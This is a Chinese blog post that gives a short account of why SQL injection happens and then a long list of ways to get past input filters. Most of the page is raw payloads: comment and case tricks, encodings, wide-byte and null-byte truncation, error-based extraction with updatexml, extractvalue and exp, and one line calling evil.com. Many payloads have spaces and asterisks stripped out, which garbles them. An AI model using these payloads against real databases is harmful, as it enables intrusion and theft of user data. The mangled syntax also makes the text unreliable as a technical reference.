欧阳简之 > SQL注入绕过技巧

热爱代码,对每一行代码保持一颗敬畏之心。

SQL注入攻击是黑客对数据库进行攻击的常用手段之一。由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

0x00 sql注入的原因

sql注入的原因,表面上说是因为 拼接字符串,构成sql语句,没有使用 sql语句预编译,绑定变量。

但是更深层次的原因是,将用户输入的字符串,当成了 “sql语句” 来执行。

比如上面的 String sql = “select id,no from user where id=” + id;
我们希望用户输入的 id 的值,仅仅作为一个字符串字面值,传入数据库执行,但是当输入了: 2 or 1=1 时,其中的 or 1=1 并没有作为 where id= 的字面值,而是作为了 sql语句 来执行的。所以其本质是将用户的输入的数据,作为了命令来执行。

0x01 sql注入绕过

1.1 注释符绕过

//,-- , //, #, --+, -- -, ;,%00,--aUNION//Select//user,pwd,fromuserU//NION//SE//LECT/**/user,pwdfromuser

1.2 大小写绕过

?id=1+UnIoN/**/SeLeCT

1.3 内联注释绕过

id=1/!UnIoN/+SeLeCT+1,2,concat(/!table_name/)+FrOM/information_schema/.tables/!WHERE /+/!TaBlE_ScHeMa/+like+database()-- -通常情况下,上面的代码可以绕过过滤器,请注意,我们用的是 Like而不是 =

1.4 双关键字绕过

?id=1+UNIunionON+SeLselectECT+1,2,3–

1.5 编码绕过

如URLEncode编码,ASCII,HEX,unicode编码绕过or1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。十六进制编码SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))双重编码绕过?id=1%252f%252a/UNION%252f%252a /SELECT%252f%252a/1,2,password%252f%252a/FROM%252f%252a/Users--+一些unicode编码举例:  单引号:'%u0027 %u02b9%u02bc%u02c8%u2032%uff07%c0%27%c0%a7%e0%80%a7空白:%u0020%uff00%c0%20%c0%a0%e0%80%a0左括号(:%u0028%uff08%c0%28%c0%a8%e0%80%a8右括号):%u0029%uff09%c0%29%c0%a9%e0%80%a9

1.6 空格绕过

两个空格代替一个空格,用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/括号绕过空格在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来select(user())from dual where 1=1 and 2=2;

1.7 万能密钥绕过

用经典的or1=1判断绕过,如or‘swords’ =’swords

1.8 +,-,.号拆解字符串绕过

?id=1' or'11+11'='11+11'"-"和"."

1.9 like绕过

?id=1' or 1 like 1绕过对“=”,“>”等的过滤

2.0 in绕过

or'1'IN('swords')

2.1 >,<绕过

or'password'>'pass'or1<3

2.2 等价函数与命令绕过

1.函数或变量

hex()、bin()==>ascii()sleep()==>benchmark()concat_ws()==>group_concat()mid()、substr()==>substring()@@user==>user()@@datadir==>datadir()举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 或者:substr((select 'password'),1,1) = 0x70strcmp(left('password',1),0x69)= 1strcmp(left('password',1),0x70)= 0strcmp(left('password',1),0x71)= -1

2.符号and和or

有可能不能使用,可以试下&&和||=不能使用的情况,可以考虑尝试<、>

3.生僻函数

MySQL/PostgreSQL支持XML函数:SelectUpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);          

?id=1 and 1=(updatexml(1,concat(0x3a,(selectuser())),1))SELECTxmlelement(nameimg,xmlattributes(1assrc,'a\l\x65rt(1)'as\117n\x65rror)); //postgresql?id=1 and extractvalue(1, concat(0x5c, (selecttable_namefrominformation_schema.tableslimit1)));and 1=(updatexml(1,concat(0x5c,(selectuser()),0x5c),1))andextractvalue(1,concat(0x5c, (selectuser()),0x5c))2.3 反引号绕过selectversion()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用

2.4 换行符绕过

%0a、%0d

2.5 截断绕过

%00,%0A,?,/0,////////////////........////////,%80-%99目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。././././././././././././././././abc////////////////////////abc..1/abc/../1/abc/../1/abc

2.6 宽字节绕过

过滤单引号时,可以试试宽字节%bf%27 %df%27 %aa%27

2.7 \N绕过

\N其实相当于NULL字符selectfromuserswhereid=8E0unionselect1,2,3,4,5,6,7,8,9,0selectfromuserswhereid=8.0unionselect1,2,3,4,5,6,7,8,9,0select*fromuserswhereid=\Nunionselect1,2,3,4,5,6,7,8,9,0

2.8 特殊的绕过函数

1.通过greatest函数绕过不能使用大小于符号的情况greatest(a,b),返回a和b中较大的那个数。当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用:mysql>selectgreatest(ascii(mid(user(),1,1)),150)=150; +------------------------------------------+| greatest(ascii(mid(user(),1,1)),150)=150| +------------------------------------------+|1| +------------------------------------------+如果小于150,则上述返回值为True。

2.通过substr函数绕过不能使用逗号的情况mid(user()from1for1)或substr(user()from1for1)mysql>selectascii(substr(user()from1for1)) <150; +------------------------------------------+| ascii(substr(user()from1for1)) <150| +------------------------------------------+|1| +------------------------------------------+

3.使用数学运算函数在子查询中报错exp(x)函数的作用: 取常数e的x次方,其中,e是自然对数的底。~x 是一个一元运算符,将x按位取补selectexp(~(selectfrom(selectuser())a))mysql报错:mysql>selectexp(~(selectfrom(selectuser())a));ERROR1690(22003):DOUBLEvalueisoutofrangein‘exp(~((select‘root@localhost’fromdual)))’这条查询会出错,是因为exp(x)的参数x过大,超过了数值范围,分解到子查询,就是:(select*from(selectuser())a) 得到字符串 root@localhost表达式’root@localhost’被转换为0,按位取补之后得到一个非常的大数,它是MySQL中最大的无符号整数

待整体

tagged by sql